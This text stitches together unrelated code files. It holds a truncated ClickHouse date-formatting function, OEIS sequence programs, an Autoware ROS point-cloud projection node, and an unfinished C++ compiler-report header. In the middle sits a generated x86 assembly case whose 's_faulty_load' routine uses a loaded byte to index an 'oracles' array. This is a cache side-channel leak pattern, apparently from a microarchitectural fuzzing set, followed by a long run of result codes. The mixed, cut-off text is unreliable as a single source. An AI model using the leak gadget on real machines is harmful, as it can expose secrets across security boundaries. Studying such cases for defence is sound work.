timezone)); } }; public: static constexpr auto name = "formatDateTime"; static FunctionPtr create(const Context &) { return std::make_shared<FunctionFormatDateTime>(); } String getName() const override { return name; } bool useDefaultImplementationForConstants() const override { return true; } ColumnNumbers getArgumentsThatAreAlwaysConstant() const override { return {1, 2}; } bool isVariadic() const override { return true; } size_t getNumberOfArguments() const override { return 0; } DataTypePtr getReturnTypeImpl(const ColumnsWithTypeAndName & arguments) const override { if (arguments.size() != 2 && arguments.size() != 3) throw Exception("Number of arguments for function " + getName() + " doesn't match: passed " + toString(arguments.size()) + ", should be 2 or 3", ErrorCodes::NUMBER_OF_ARGUMENTS_DOESNT_MATCH); if (!WhichDataType(arguments[0].type).isDateOrDateTime()) throw Exception("Illegal type " + arguments[0].type->getName() + " of 1 argument of function " + getName() + ". Should be a date or a date with time", ErrorCodes::ILLEGAL_TYPE_OF_ARGUMENT); if (!WhichDataType(arguments[1].type).isString()) throw Exception("Illegal type " + arguments[1].type->getName() + " of 2 argument of function " + getName() + ". Must be String.", ErrorCodes::ILLEGAL_TYPE_OF_ARGUMENT); if (arguments.size() == 3) { if (!WhichDataType(arguments[2].type).isString()) throw Exception("Illegal type " + arguments[2].type->getName() + " of 3 argument of function " + getName() + ". Must be String.", ErrorCodes::ILLEGAL_TYPE_OF_ARGUMENT); } return std::make_shared<DataTypeString>(); } void executeImpl(Block & block, const ColumnNumbers & arguments, size_t result, size_t /*input_rows_count*/) override { if (!executeType<UInt32>(block, arguments, result) && !executeType<UInt16>(block, arguments, result)) throw Exception("Illegal column " + block.getByPosition(arguments[0]).column->getName() + " of function " + getName() + ", must be Date or DateTime", ErrorCodes::ILLEGAL_COLUMN); } template <typename T> bool executeType(Block & block, const ColumnNumbers & arguments, size_t result) { if (auto * times = checkAndGetColumn<ColumnVector<T>>(block.getByPosition(arguments[0]).column.get())) { const ColumnConst * pattern_column = checkAndGetColumnConst<ColumnString>(block.getByPosition(arguments[1]).column.get()); if (!pattern_column) throw Exception("Illegal column " + block.getByPosition(arguments[1]).column->getName() + " of second ('format') argument of function " + getName() + ". Must be constant string.", ErrorCodes::ILLEGAL_COLUMN); String pattern = pattern_column->getValue<String>(); std::vector<Action<T>> instructions; String pattern_to_fill = parsePattern(pattern, instructions); size_t result_size = pattern_to_fill.size(); const DateLUTImpl * time_zone_tmp = nullptr; if (arguments.size() == 3) time_zone_tmp = &extractTimeZoneFromFunctionArguments(block, arguments, 2, 0); else time_zone_tmp = &DateLUT::instance(); const DateLUTImpl & time_zone = *time_zone_tmp; const typename ColumnVector<T>::Container & vec = times->getData(); auto col_res = ColumnString::create(); auto & dst_data = col_res->getChars(); auto & dst_offsets = col_res->getOffsets(); dst_data.resize(vec.size() * (result_size + 1)); dst_offsets.resize(vec.size()); /// Fill result with literals. { UInt8 * begin = dst_data.data(); UInt8 * end = begin + dst_data.size(); UInt8 * pos = begin; if (pos < end) { memcpy(pos, pattern_to_fill.data(), result_size + 1); /// With zero terminator. pos += result_size + 1; } /// Fill by copying exponential growing ranges. while (pos < end) { size_t bytes_to_copy = std::min(pos - begin, end - pos); memcpy(pos, begin, bytes_to_copy); pos += bytes_to_copy; } } auto begin = reinterpret_cast<char *>(dst_data.data()); auto pos = begin; for (size_t i = 0; i < vec.size(); ++i) { for (auto & instruction : instructions) instruction.perform(pos, vec[i], time_zone); dst_offsets[i] = pos - begin; } dst_data.resize(pos - begin); block.getByPosition(result).column = std::move(col_res); return true; } return false; } template <typename T> String parsePattern(const String & pattern, std::vector<Action<T>> & instructions) const { String result; const char * pos = pattern.data(); const char * end = pos + pattern.size(); /// Add shift to previous action; or if there were none, add noop action with shift. auto addShift = [&](size_t amount) { if (instructions.empty()) instructions.emplace_back(&Action<T>::noop); instructions.back().shift += amount; }; /// If the argument was DateTime, add instruction for printing. If it was date, just shift (the buffer is pre-filled with default values). auto addInstructionOrShift = [&](typename Action<T>::Func func [[maybe_unused]], size_t shift) { if constexpr (std::is_same_v<T, UInt32>) instructions.emplace_back(func, shift); else addShift(shift); }; while (true) { const char * percent_pos = find_first_symbols<'%'>(pos, end); if (percent_pos < end) { if (pos < percent_pos) { result.append(pos, percent_pos); addShift(percent_pos - pos); } pos = percent_pos + 1; if (pos >= end) throw Exception("Sign '%' is the last in pattern, if you need it, use '%%'", ErrorCodes::BAD_ARGUMENTS); switch (*pos) { // Year, divided by 100, zero-padded case 'C': instructions.emplace_back(&Action<T>::century, 2); result.append("00"); break; // Day of month, zero-padded (01-31) case 'd': instructions.emplace_back(&Action<T>::dayOfMonth, 2); result.append("00"); break; // Short MM/DD/YY date, equivalent to %m/%d/%y case 'D': instructions.emplace_back(&Action<T>::americanDate, 8); result.append("00/00/00"); break; // Day of month, space-padded ( 1-31) 23 case 'e': instructions.emplace_back(&Action<T>::dayOfMonthSpacePadded, 2); result.append(" 0"); break; // Short YYYY-MM-DD date, equivalent to %Y-%m-%d 2001-08-23 case 'F': instructions.emplace_back(&Action<T>::ISO8601Date, 10); result.append("0000-00-00"); break; // Day of the year (001-366) 235 case 'j': instructions.emplace_back(&Action<T>::dayOfYear, 3); result.append("000"); break; // Month as a decimal number (01-12) case 'm': instructions.emplace_back(&Action<T>::month, 2); result.append("00"); break; // ISO 8601 weekday as number with Monday as 1 (1-7) case 'u': instructions.emplace_back(&Action<T>::dayOfWeek, 1); result.append("0"); break; // ISO 8601 week number (01-53) case 'V': instructions.emplace_back(&Action<T>::ISO8601Week, 2); result.append("00"); break; // Weekday as a decimal number with Sunday as 0 (0-6) 4 case 'w': instructions.emplace_back(&Action<T>::dayOfWeek0To6, 1); result.append("0"); break; // Two digits year case 'y': instructions.emplace_back(&Action<T>::year2, 2); result.append("00"); break; // Four digits year case 'Y': instructions.emplace_back(&Action<T>::year4, 4); result.append("0000"); break; /// Time components. If the argument is Date, not a DateTime, then this components will have default value. // Minute (00-59) case 'M': addInstructionOrShift(&Action<T>::minute, 2); result.append("00"); break; // AM or PM case 'p': addInstructionOrShift(&Action<T>::AMPM, 2); result.append("AM"); break; // 24-hour HH:MM time, equivalent to %H:%M 14:55 case 'R': addInstructionOrShift(&Action<T>::hhmm24, 5); result.append("00:00"); break; // Seconds case 'S': addInstructionOrShift(&Action<T>::second, 2); result.append("00"); break; // ISO 8601 time format (HH:MM:SS), equivalent to %H:%M:%S 14:55:02 case 'T': addInstructionOrShift(&Action<T>::ISO8601Time, 8); result.append("00:00:00"); break; // Hour in 24h format (00-23) case 'H': addInstructionOrShift(&Action<T>::hour24, 2); result.append("00"); break; // Hour in 12h format (01-12) case 'I': addInstructionOrShift(&Action<T>::hour12, 2); result.append("12"); break; /// Escaped literal characters. case '%': result += '%'; addShift(1); break; case 't': result += '\t'; addShift(1); break; case 'n': result += '\n'; addShift(1); break; // Unimplemented case 'U': [[fallthrough]]; case 'W': throw Exception("Wrong pattern '" + pattern + "', symbol '" + *pos + " is not implemented ' for function " + getName(), ErrorCodes::NOT_IMPLEMENTED); default: throw Exception( "Wrong pattern '" + pattern + "', unexpected symbol '" + *pos + "' for function " + getName(), ErrorCodes::ILLEGAL_COLUMN); } ++pos; } else { result.append(pos, end); addShift(end + 1 - pos); /// including zero terminator break; } } return result; } }; void registerFunctionFormatDateTime(FunctionFactory & factory) { factory.registerFunction<FunctionFormatDateTime>(); } }
; A276882: Sums-complement of the Beatty sequence for 2 + sqrt(2). ; 1,2,5,8,9,12,15,16,19,22,25,26,29,32,33,36,39,42,43,46,49,50,53,56,57,60,63,66,67,70,73,74,77,80,83,84,87,90,91,94,97,98,101,104,107,108,111,114,115,118,121,124,125,128,131,132,135,138,141,142,145 mov $2,$0 mul $2,$0 lpb $2 add $2,$3 sub $3,2 add $2,$3 lpe sub $0,$3 add $0,1
; A044770: Numbers n such that string 5,7 occurs in the base 10 representation of n but not of n+1. ; Submitted by Christian Krause ; 57,157,257,357,457,557,579,657,757,857,957,1057,1157,1257,1357,1457,1557,1579,1657,1757,1857,1957,2057,2157,2257,2357,2457,2557,2579,2657,2757,2857,2957,3057,3157,3257,3357,3457,3557 add $0,1 mul $0,10 mov $1,$0 add $0,7 div $0,11 mul $0,22 add $0,2 sub $1,5 div $1,11 mul $1,26 add $0,$1 add $0,$1 add $0,$1 add $0,33
/* * Copyright (c) 2015, Nagoya University * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * * Neither the name of Autoware nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include <ros/ros.h> #include <sensor_msgs/PointCloud2.h> #include <sensor_msgs/CameraInfo.h> #include "autoware_msgs/PointsImage.h" #include "autoware_msgs/projection_matrix.h" //#include "autoware_msgs/CameraExtrinsic.h" #include <include/points_image/points_image.hpp> #define CAMERAEXTRINSICMAT "CameraExtrinsicMat" #define CAMERAMAT "CameraMat" #define DISTCOEFF "DistCoeff" #define IMAGESIZE "ImageSize" static cv::Mat cameraExtrinsicMat; static cv::Mat cameraMat; static cv::Mat distCoeff; static cv::Size imageSize; static ros::Publisher pub; static void projection_callback(const autoware_msgs::projection_matrix& msg) { cameraExtrinsicMat = cv::Mat(4, 4, CV_64F); for (int row = 0; row < 4; row++) { for (int col = 0; col < 4; col++) { cameraExtrinsicMat.at<double>(row, col) = msg.projection_matrix[row * 4 + col]; } } resetMatrix(); } static void intrinsic_callback(const sensor_msgs::CameraInfo& msg) { imageSize.height = msg.height; imageSize.width = msg.width; cameraMat = cv::Mat(3, 3, CV_64F); for (int row = 0; row < 3; row++) { for (int col = 0; col < 3; col++) { cameraMat.at<double>(row, col) = msg.K[row * 3 + col]; } } distCoeff = cv::Mat(1, 5, CV_64F); for (int col = 0; col < 5; col++) { distCoeff.at<double>(col) = msg.D[col]; } resetMatrix(); } static void callback(const sensor_msgs::PointCloud2ConstPtr& msg) { if (cameraExtrinsicMat.empty() || cameraMat.empty() || distCoeff.empty() || imageSize.height == 0 || imageSize.width == 0) { ROS_INFO("[points2image]Looks like camera_info or projection_matrix are not being published.. Please check that " "both are running.."); return; } autoware_msgs::PointsImage pub_msg = pointcloud2_to_image(msg, cameraExtrinsicMat, cameraMat, distCoeff, imageSize); pub.publish(pub_msg); } int main(int argc, char* argv[]) { ros::init(argc, argv, "points2image"); ros::NodeHandle n; ros::NodeHandle private_nh("~"); std::string camera_info_topic_str; std::string projection_matrix_topic; std::string pub_topic_str = "/points_image"; private_nh.param<std::string>("projection_matrix_topic", projection_matrix_topic, "/projection_matrix"); private_nh.param<std::string>("camera_info_topic", camera_info_topic_str, "/camera_info"); std::string name_space_str = ros::this_node::getNamespace(); if (name_space_str != "/") { if (name_space_str.substr(0, 2) == "//") { /* if name space obtained by ros::this::node::getNamespace() starts with "//", delete one of them */ name_space_str.erase(name_space_str.begin()); } pub_topic_str = name_space_str + pub_topic_str; projection_matrix_topic = name_space_str + projection_matrix_topic; camera_info_topic_str = name_space_str + camera_info_topic_str; } std::string points_topic; if (private_nh.getParam("points_node", points_topic)) { ROS_INFO("[points2image]Setting points node to %s", points_topic.c_str()); } else { ROS_INFO("[points2image]No points node received, defaulting to points_raw, you can use _points_node:=YOUR_TOPIC"); points_topic = "/points_raw"; } ROS_INFO("[points2image]Publishing to... %s", pub_topic_str.c_str()); pub = n.advertise<autoware_msgs::PointsImage>(pub_topic_str, 10); ros::Subscriber sub = n.subscribe(points_topic, 1, callback); ROS_INFO("[points2image]Subscribing to... %s", projection_matrix_topic.c_str()); ros::Subscriber projection = n.subscribe(projection_matrix_topic, 1, projection_callback); ROS_INFO("[points2image]Subscribing to... %s", camera_info_topic_str.c_str()); ros::Subscriber intrinsic = n.subscribe(camera_info_topic_str, 1, intrinsic_callback); ros::spin(); return 0; }
; A097741: Pell equation solutions (10*a(n))^2 - 101*b(n)^2 = -1 with b(n) = A097742(n), n >= 0. ; Submitted by Jamie Morken(w1) ; 1,403,162005,65125607,26180332009,10524428342011,4230794013156413,1700768668860536015,683704774087922321617,274847618414675912754019,110488058897925629004794021,44415924829347688184014442423,17855091293338872724344801060025,7177702283997397487498426011687627,2885418463075660451101642911897366029,1159931044454131503945372952156729456031,466289394452097788925588825124093343958433,187447176638698857016582762326933367541834035,75353298719362488422877344866602089658473323637 mul $0,2 add $0,1 mov $3,1 lpb $0 sub $0,1 add $2,$3 mov $3,$1 mov $1,$2 mul $2,10 add $3,$2 lpe mov $0,$3 div $0,10
; A105577: a(n+3) = 2*a(n+2) - 3*a(n+1) + 2*a(n); a(0) = 1, a(1) = 5, a(2) = 6. ; Submitted by Jon Maiga ; 1,5,6,-1,-10,-5,18,31,-2,-61,-54,71,182,43,-318,-401,238,1043,570,-1513,-2650,379,5682,4927,-6434,-16285,-3414,29159,35990,-22325,-94302,-49649,138958,238259,-39654,-516169,-436858,595483,1469202,278239,-2660162,-3216637,2103690,8536967 mov $1,-5 mov $2,1 lpb $0 sub $0,1 mul $2,2 add $1,$2 sub $2,$1 sub $1,3 lpe mov $0,$2
; A085810: Number of three-choice paths along a corridor of height 5, starting from the lower side. ; Submitted by Jamie Morken(s4) ; 1,2,5,13,35,96,266,741,2070,5791,16213,45409,127206,356384,998509,2797678,7838801,21963661,61540563,172432468,483144522,1353740121,3793094450,10628012915,29779028189,83438979561,233790820762,655067316176,1835457822857,5142838522138,14409913303805,40375679825949,113130140870243,316983610699320,888168340360602,2488592388474205,6972880922115694,19537578182679559,54743077575896949,153386694833433425,429779968423363294,1204216711617255952,3374140246365500501,9454130882186870854,26489886078033725961 mov $1,1 lpb $0 sub $0,1 add $2,5 add $3,$1 mov $1,$3 sub $1,$4 add $1,$3 sub $2,4 add $2,$4 mov $4,$2 mov $2,$3 lpe mov $0,$1
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r14 push %r8 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_D_ht+0x16f21, %rsi lea addresses_WC_ht+0x13df9, %rdi clflush (%rsi) and %rbp, %rbp mov $110, %rcx rep movsb nop nop add %rbp, %rbp lea addresses_normal_ht+0xd581, %r11 nop inc %r8 movb (%r11), %bl nop nop nop nop nop cmp %rcx, %rcx lea addresses_UC_ht+0x981, %rcx nop nop nop nop and $30004, %rdi movb (%rcx), %r11b nop nop nop nop nop cmp %rsi, %rsi lea addresses_D_ht+0x1781, %rsi lea addresses_A_ht+0x11d81, %rdi nop sub $59564, %rbp mov $99, %rcx rep movsl nop nop nop and %rdi, %rdi lea addresses_WC_ht+0x1c581, %rsi lea addresses_normal_ht+0x10d1, %rdi clflush (%rsi) nop nop nop nop xor $37085, %r8 mov $19, %rcx rep movsl nop and %rdi, %rdi lea addresses_normal_ht+0x2f81, %rsi nop nop nop nop and %r11, %r11 movups (%rsi), %xmm7 vpextrq $0, %xmm7, %rbx nop nop nop add $55307, %rbp lea addresses_D_ht+0x9181, %rsi lea addresses_WT_ht+0xd94c, %rdi nop dec %r8 mov $29, %rcx rep movsw nop nop nop nop nop xor $18984, %rcx lea addresses_D_ht+0x3381, %rbx nop and %rdi, %rdi movw $0x6162, (%rbx) nop nop nop nop add $13312, %r11 lea addresses_normal_ht+0x1dce1, %rsi lea addresses_A_ht+0xc581, %rdi nop nop nop nop nop cmp $46212, %r14 mov $74, %rcx rep movsl nop nop and %rcx, %rcx lea addresses_A_ht+0x17581, %rsi lea addresses_WT_ht+0x1b0a1, %rdi nop nop xor %r14, %r14 mov $65, %rcx rep movsl nop nop nop cmp %rsi, %rsi lea addresses_normal_ht+0x11d21, %rsi lea addresses_WC_ht+0xbcf5, %rdi nop nop nop nop nop inc %r11 mov $84, %rcx rep movsl nop nop nop nop nop add %rcx, %rcx lea addresses_D_ht+0xa6c1, %rsi lea addresses_A_ht+0x2581, %rdi clflush (%rdi) nop nop nop nop sub $55820, %rbx mov $11, %rcx rep movsl nop nop inc %r14 lea addresses_WT_ht+0x16a01, %r11 nop and $45035, %rbx mov $0x6162636465666768, %rsi movq %rsi, %xmm4 movups %xmm4, (%r11) nop nop sub %rcx, %rcx lea addresses_normal_ht+0x179ab, %r8 nop nop nop add $31138, %rcx mov $0x6162636465666768, %r14 movq %r14, %xmm3 movups %xmm3, (%r8) nop nop nop nop add $38313, %rdi pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r8 pop %r14 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r15 push %r8 push %rax push %rcx push %rdx push %rsi // Store mov $0x3f3c730000000a8b, %rcx nop nop nop nop add $52771, %r15 mov $0x5152535455565758, %rsi movq %rsi, %xmm3 vmovntdq %ymm3, (%rcx) nop nop nop nop sub $52206, %rax // Load lea addresses_WC+0xd041, %rsi nop nop nop sub %r8, %r8 mov (%rsi), %ecx nop nop nop sub $14967, %r8 // Store lea addresses_US+0xc741, %r8 nop nop dec %rdx movl $0x51525354, (%r8) dec %rsi // Store mov $0x881, %r8 nop nop nop nop add $30735, %rax movw $0x5152, (%r8) nop sub $26425, %rax // Faulty Load lea addresses_PSE+0x7581, %r15 nop and %rax, %rax mov (%r15), %r8w lea oracles, %r15 and $0xff, %r8 shlq $12, %r8 mov (%r15,%r8,1), %r8 pop %rsi pop %rdx pop %rcx pop %rax pop %r8 pop %r15 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 32, 'NT': True, 'type': 'addresses_NC'}} {'src': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 4, 'NT': True, 'type': 'addresses_WC'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_US'}} {'OP': 'STOR', 'dst': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_P'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 2, 'NT': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 5, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_WC_ht'}} {'src': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 7, 'AVXalign': True, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 8, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_A_ht'}} {'src': {'congruent': 11, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_normal_ht'}} {'src': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 10, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_WT_ht'}} {'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_D_ht'}} {'src': {'congruent': 5, 'same': True, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_A_ht'}} {'src': {'congruent': 11, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 4, 'same': True, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 4, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_WC_ht'}} {'src': {'congruent': 4, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 11, 'same': True, 'type': 'addresses_A_ht'}} {'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WT_ht'}} {'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_normal_ht'}} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
#pragma once // compiler_directives.hpp: #if defined(_MSC_VER) #pragma warning(disable : 4514) // unreferenced function is removed #pragma warning(disable : 4515) // unreferenced inline function has been removed #pragma warning(disable : 4710) // function is not inlined #pragma warning(disable : 4820) // bytes padding added after data member // this is a good warning to catch Universal library conditional compilation errors //#pragma warning(disable : 4688) warning C4668: 'LONG_DOUBLE_SUPPORT' is not defined as a preprocessor macro, replacing with '0' for '#if/#elif' // but this one warning is making life difficult // warning C4668: '__STDC_WANT_SECURE_LIB__' is not defined as a preprocessor macro, replacing with '0' for '#if/#elif' // TODO: figure out what compiler flag configuration is causing this, // but side step it in the mean time #ifndef __STDC_WANT_SECURE_LIB__ #define __STDC_WANT_SECURE_LIB__ 1 #endif #pragma warning(disable : 5045) // Compiler will insert Spectre mitigation for memory load if /Qspectre switch specified #ifndef LONG_DOUBLE_SUPPORT // this is too chatty // #pragma message("MSVC does not have LONG_DOUBLE_SUPPORT") #define LONG_DOUBLE_SUPPORT 0 #endif #endif #include <iostream> #include <iomanip> #include <string> #include <typeinfo> namespace sw::universal { /// <summary> /// print the cmd line if there is one or more parameters provided /// </summary> /// <param name="argc">number of arguments</param> /// <param name="argv">array of char* representing the arguments</param> void print_cmd_line(int argc, char* argv[]) { if (argc > 1) { for (int i = 0; i < argc; ++i) { std::cout << argv[i] << ' '; } std::cout << std::endl; } } void report_compiler_environment() { #if defined(_MSC_VER) && (_MSC_VER >= 1300) std::cout << "Microsoft Visual C++: " << _MSC_VER << '\n'; if constexpr (_MSC_VER == 1600) std::cout << "(Visual Studio 2010 version 10.0)\n"; else if constexpr (_MSC_VER == 1700) std::cout << "(Visual Studio 2012 version 11.0)\n"; else if constexpr (_MSC_VER == 1800) std::cout << "(Visual Studio 2013 version 12.0)\n"; else if constexpr (_MSC_VER == 1900) std::cout << "(Visual Studio 2015 version 14.0)\n"; else if constexpr (_MSC_VER == 1910) std::cout << "(Visual Studio 2017 version 15.0)\n"; else if constexpr (_MSC_VER == 1911) std::cout << "(Visual Studio 2017 version 15.3)\n"; else if constexpr (_MSC_VER == 1912) std::cout << "(Visual Studio 2017 version 15.5)\n"; else if constexpr (_MSC_VER == 1913) std::cout << "(Visual Studio 2017 version 15.6)\n"; else if constexpr (_MSC_VER == 1914) std::cout << "(Visual Studio 2017 version 15.7)\n"; else if constexpr (_MSC_VER == 1915) std::cout << "(Visual Studio 2017 version 15.8)\n"; else if constexpr (_MSC_VER == 1916) std::cout << "(Visual Studio 2017 version 15.9)\n"; else if constexpr (_MSC_VER == 1920) std::cout << "(Visual Studio 2019 Version 16.0)\n"; else if constexpr (_MSC_VER == 1921) std::cout << "(Visual Studio 2019 Version 16.1)\n"; else if constexpr (_MSC_VER == 1922) std::cout << "(Visual Studio 2019 Version 16.2)\n"; else if constexpr (_MSC_VER == 1923) std::cout << "(Visual Studio 2019 Version 16.3)\n"; else if constexpr (_MSC_VER == 1924) std::cout << "(Visual Studio 2019 Version 16.4)\n"; else if constexpr (_MSC_VER == 1925) std::cout << "(Visual Studio 2019 Version 16.5)\n"; else if constexpr (_MSC_VER == 1926) std::cout << "(Visual Studio 2019 Version 16.6)\n"; else if constexpr (_MSC_VER == 1927) std::cout << "(Visual Studio 2019 Version 16.7)\n"; else if constexpr (_MSC_VER == 1928) std::cout << "(Visual Studio 2019 Version 16.9)\n"; else if constexpr (_MSC_VER == 1929) std::cout << "(Visual Studio 2019 Version 16.11)\n"; else std::cout << "unknown Microsoft Visual C++: " << _MSC_VER << '\n'; std::cout << "__cplusplus: " << __cplusplus << '\n'; /* _MSVC_LANG Defined as an integer literal that specifies the C++ language standard targeted by the compiler. It's set only in code compiled as C++. The macro is the integer literal value 201402L by default, or when the /std:c++14 compiler option is specified. The macro is set to 201703L if the /std:c++17 compiler option is specified. It's set to a higher, unspecified value when the /std:c++latest option is specified. Otherwise, the macro is undefined. The _MSVC_LANG macro and /std(Specify Language Standard Version) compiler options are available beginning in Visual Studio 2015 Update 3. */ if constexpr (_MSVC_LANG == 201402l) std::cout << "/std:c++14\n"; else if constexpr (_MSVC_LANG == 201703l) std::cout << "/std:c++17\n"; else if constexpr (_MSVC_LANG == 202004) std::cout << "/std:c++20\n"; else if constexpr (_MSVC_LANG == 202004) 